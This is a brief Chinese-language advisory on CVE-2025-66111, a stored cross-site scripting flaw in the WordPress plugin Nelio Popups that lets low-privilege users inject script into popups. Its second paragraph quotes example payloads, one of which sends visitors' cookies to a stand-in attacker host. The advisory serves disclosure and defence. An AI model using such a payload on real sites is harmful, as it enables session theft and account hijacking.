CVE-2025-66111CVE-2025-66111是WordPress插件Nelio Popups中的一个存储型跨站脚本(XSS)漏洞。该漏洞由于插件在处理用户输入时未对特殊字符进行充分过滤和转义,导致攻击者可以在弹窗内容中注入恶意JavaScript代码。这些恶意代码会被永久存储在数据库中,当其他用户访问包含该弹窗的页面时,恶意脚本会自动执行,从而窃取用户的会话Cookie、劫持用户账号或进行其他恶意操作。由于该漏洞需要低权限用户(如订阅者)即可实施,且攻击代码存储在服务端,因此具有较高的隐蔽性和持续危害性。CVSS评分6.5,属于中等严重程度,主要影响需要用户交互的场景。
该存储型XSS漏洞存在于Nelio Popups插件的弹窗内容处理模块中。漏洞的根本原因是在将用户提交的弹窗标题、内容或配置参数存储到数据库时,缺少对HTML特殊字符(如<、>、"、'等)的正确转义处理。当管理员或其他用户访问包含该弹窗的页面时,存储的恶意JavaScript代码会被浏览器解析执行。攻击者可以利用WordPress的订阅者或贡献者角色创建包含XSS payload的弹窗,payload如:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>等。由于Nelio Popups插件的弹窗功能会在网站多个位置自动加载,攻击者只需创建一次恶意弹窗即可实现对所有访问者的持续攻击。